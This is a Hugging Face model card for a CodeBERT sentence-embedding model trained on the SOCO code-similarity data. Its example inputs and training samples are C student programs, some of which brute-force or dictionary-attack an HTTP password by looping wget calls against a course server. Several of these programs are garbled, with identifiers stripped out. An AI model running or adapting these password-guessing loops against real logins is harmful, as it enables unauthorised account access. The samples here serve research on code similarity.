CoolFace
Modelpublic

buelfhood/SOCO-C-CodeBERT-ST

sourceHugging Faceupdated 1y agoView on Hugging Face
0likes70downloads
Model Card

SentenceTransformer based on microsoft/codebert-base

This is a sentence-transformers model finetuned from microsoft/codebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/codebert-base <!-- at revision 3b0952feddeffad0063f274080e3c23d75e7eb39 -->
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity <!-- - Training Dataset: Unknown --> <!-- - Language: Unknown --> <!-- - License: Unknown -->

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

bash
pip install -U sentence-transformers

Then you can load this model and run inference.

python
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
    '\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n  int i,j,k,counter =0;\n  char  word[3];\n  char paswd[3];\t\n  char get[100];\n  int ;\n  char username[]="";\n  \n  \n  \n  \n  \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n   \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n      \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;}  \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]);       \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t  \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n     \n\t\t}\n  \n\t}\n  \n\t\n}\n\n',
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint  (int argc, char *argv[])\n {\n     FILE *fp;\n     \n   while(1)\n    {       \n      system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n      system("mkdir data"); \n      if((fp=fopen("./data/index.html","r"))==NULL)\n       { \n         system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n       }\n      else\n       {  \n               \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n       }     \n\n\n\n      system("mkdir images"); \n      if((fp=fopen("./images/file.txt","r"))==NULL)\n       { \n          system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n       }\n      \n      else\n       {          \n          system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n       }\n     sleep(86400); \n    }\t\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n    char [100]={\'\\0\'};\n    strcpy(,b);\n    \n    strcat(,);\n    printf ("Sending command %s\\n",);\n    if ( system()== 0) {\n       printf ("\\n password is : %s",);\n       return 1;\n    }\n    return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n   for(i=0;i<52 ;i++) {\n        comb[0]= [i];\n        if (execPassword(comb,url)== 1) return 1; \n          for(j=0;j<52;j++) {\n              comb[1] = [j];\n              if(execPassword(comb,url)==1) return 1;\n                for(k=0;k<52;k++) {\n                    comb[2] = [k];\n                    if(execPassword(comb,url)==1) return 1;\n                }\n          comb[1] = \'\\0\';\n     }\n   }\n   return 0;\n\n} \n\nint  (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n  startTime = time();\n    if (bruteForce(a,v,strin)==1) {\n      stopTime = time();\n      final = stopTime-startTime;\n    }\n\n       printf ("\\n The password is : %s",v);\n       printf("%lld nanoseconds (%lf) seconds \\n", final,  (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
#         [0.9892, 1.0000, 0.9908],
#         [0.9953, 0.9908, 1.0000]])

<!--

Direct Usage (Transformers)

<details><summary>Click to see the direct usage in Transformers</summary>

</details> -->

<!--

Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

</details> -->

<!--

Out-of-Scope Use

List how the model may foreseeably be misused and address what users ought not to do with the model. -->

<!--

Bias, Risks and Limitations

What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model. -->

<!--

Recommendations

What are recommendations with respect to the foreseeable issues? For example, filtering explicit content. -->

Training Details

Training Dataset

Unnamed Dataset
  • Size: 3,081 training samples
  • Columns: <code>sentence0</code>, <code>sentence1</code>, and <code>label</code>
  • Approximate statistics based on the first 1000 samples: | | sentence0 | sentence1 | label | |:--------|:--------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------|:-----------------------------------------------| | type | string | string | int | | details | <ul><li>min: 194 tokens</li><li>mean: 471.57 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 194 tokens</li><li>mean: 458.65 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.20%</li><li>1: ~0.80%</li></ul> |
  • Samples: | sentence0 | sentence1 | label | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| | <code>#include <strings.h><br>#include <string.h><br>#include <ctype.h><br>#include<sys/time.h><br>#include <stdio.h><br>#include <stdlib.h><br>#include <sys/times.h><br><br><br><br>int ()<br>{<br> int i,j,k,syst;<br> char password[4],first[100],last[100];<br> int count =0; <br> char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',<br> 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> strcpy(first, "wget --http-user= --http-passwd=");<br> strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");<br> int Starttime,Endtime,Totaltime,average; <br> Starttime = time();<br>printf(" Time =%11dms\n", Starttime);<br> for (i=0;i<=52;i++)<br> {<br> for (j=0;j<=52;j++)<br> {<br> for(k=0;k<=52;k++)<br> {<br> password[0] = arr[i];<br> password[1] = arr[j];<br> password[2] = arr[k];<br> password[3] = '\0';<br> printf(" The Combination of the password tried %s \n" ,password);<br> printf("*...</code> | <code>#include <stdio.h><br>#include <stdlib.h><br>#include <sys/times.h><br>#include <strings.h><br>#include <string.h><br>#include <ctype.h><br><br><br><br>int ()<br>{<br> int i,j,k,sysoutput;<br> char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];<br> char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',<br> 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> strcpy(string1, "wget --http-user= --http-passwd=");<br> strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");<br> <br> for (i=0;i<=52;i++)<br> { <br> [0] = arr[i];<br> [1] ='\0'; <br> strcpy(a,);<br> <br> printf("The first value is %s \n", a); <br><br> for (j=0;j<=52;j++)<br> { [0] = arr[j];<br> [1] = '\0'; <br> strcpy(temp1,a);<br> strcat(a,);<br> strcpy(b,a);<br> strcpy(a,temp1);<br> printf("The second value is %s \n", b); <br> for(k=0;k<=52;k++)<br> { <br> [0] =arr[k];<br> [1] = '\0...</code> | <code>1</code> | | <code>#include<stdio.h><br>#include<string.h><br>#include<strings.h><br>#include<stdlib.h><br>#include<sys/time.h><br><br>()<br>{<br> int i,m,k,count=0;<br> FILE* diction;<br> FILE* log;<br> char s[30];<br> char pic[30];<br> char add[1000];<br> char end[100];<br> timet ,finish;<br> double ttime;<br> <br> strcpy(add,"wget --http-user= --http-passwd=");<br> strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");<br> diction=fopen("/usr/share/lib/dict/words","r");<br> =time(NULL);<br> while(fgets(s,100,diction)!=NULL) <br> { <br> printf("%s\n",s);<br> for(m=40,k=0;k<(strlen(s)-1);k++,m++)<br> {<br> add[m]=s[k];<br> }<br> add[m++]=' ';<br> for(i=0;i<50;i++,m++)<br> {<br> add[m]=end[i];<br> }<br> add[m]='\0';<br> <br> system(add);<br> count++;<br> log=fopen("logd","r");<br> fgets(pic,100,log);<br> printf("%s",pic);<br> if(strcmp(pic,"Authorization failed.\n")!=0) <br> {<br> finish=time(NULL);<br> ttime=difftime(,finish);<br> printf( "\n The timevar take:%f/n The of passwords tried is %d\n",ttime,count);<br> break;<br> }<br> fclose(log);<br> }<br><br>}<br></code> | <code><br><br><br><br>#include <stdio.h><br>#include <stdlib.h><br>#include <time.h><br><br>int () <br>{<br> int i,j,k,cntr=0;<br> char pass[3];<br> char password[3];<br> char get[96];<br> char username[]="";<br> int RVALUE;<br> double timeused;<br> <br> clockt ,end; <br> <br> =clock(); <br> <br> <br> <br> for (i = 65; i <= 122; i++)<br> {<br> if(i==91) {i=97;}<br> <br> for (j = 65; j <= 122; j++)<br> {<br> if(j==91) {j=97;}<br> <br> for (k = 65; k <= 122; k++)<br> {<br> if(k==91) {k=97;} <br> <br> pass[0] = i;<br> pass[1] = j;<br> pass[2] = k;<br> sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]); <br> cntr++;<br> <br> printf("%d )%s\n\n", cntr, password);<br> sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);<br> <br><br> RVALUE=system(get);<br> <br> if(RVALUE==0) <br> {<br> printf("The Password has been cracked and it is : %s" , password);<br> ...</code> | <code>0</code> | | <code><br><br> <br> <br><br><br>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br><br> <br> int ()<br> {<br> char url[30];<br> int exitValue=-1;<br> FILE fr;<br><br> char s[300]; <br> system("rm index.html");<br> system("wget http://www.cs.rmit.edu./students/ "); <br> system("mv index.html one.html");<br> <br> printf("System completed Writing\n"); <br> system("sleep 3600");<br> <br> <br> system("wget http://www.cs.rmit.edu./students/ "); <br> <br> <br> <br> exitValue=system("diff one.html index.html > .out" );<br> <br> fr=fopen(".out","r");<br> <br> strcpy(s,"mailx -s \"Testing Again\"");<br> <br> strcat(s," < .out");<br> if(fgets(url,30,fr))<br> {<br> system(s);<br> <br> system("rm one.html"); <br> <br> printf("\nCheck your mail") ; <br> fclose(fr); <br> }<br> else<br> {<br> printf(" changes detected"); <br> <br> system("rm one.html"); <br> fc...</code> | <code>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br>#include<ctype.h><br>#include<time.h><br><br>int ()<br>{<br><br> int m,n,o,i;<br> timet u1,u2;<br> char v[3];<br> char temp1[100];<br> char temp2[100];<br> char temp3[250];<br> FILE *fin1;<br> <br> char point[25];<br> fin1=fopen("./words.txt","r");<br> <br> if(fin1==NULL)<br> {<br> printf(" open the file ");<br> exit(0);<br> } <br> <br><br> strcpy(temp2," --http-user= --http-passwd=");<br> strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> <br> strcpy(temp3,"");<br> <br> (void) time(&u1); <br> <br> while(!feof(fin1)) <br> {<br> <br> fgets(point,25,fin1);<br> if(strlen(point)<=4)<br> {<br> <br> <br> strcpy(temp3,temp1);<br> strcat(temp3,temp2);<br> strcat(temp3,point);<br> printf("\nSending the %s\n",temp3);<br> i=system(temp3); <br> <br> if(i==0)<br> {<br> (void) time(&u2); <br> printf("\n The password is %s\n",point);<br> printf("\n\nThe timevar taken crack the passwork is %d second\n\n",(int)(u2-u1));<br> exit(0);<br> } <br> else<br> {<br> strcpy(temp3,"");<br> }<br> <br> <br> }<br> }<br> <br> <br>} ...</code> | <code>0</code> |
  • Loss: <code>BatchAllTripletLoss</code>

Training Hyperparameters

Non-Default Hyperparameters
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • fp16: True
  • multi_dataset_batch_sampler: round_robin
All Hyperparameters

<details><summary>Click to expand</summary>

  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgrad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin
  • router_mapping: {}
  • learning_rate_mapping: {}

</details>

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 5.0.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.8.1
  • Datasets: 3.6.0
  • Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers
bibtex
@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
bibtex
@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}

<!--

Glossary

Clearly define terms in order to be accessible across audiences. -->

<!--

Model Card Authors

Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction. -->

<!--

Model Card Contact

Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors. -->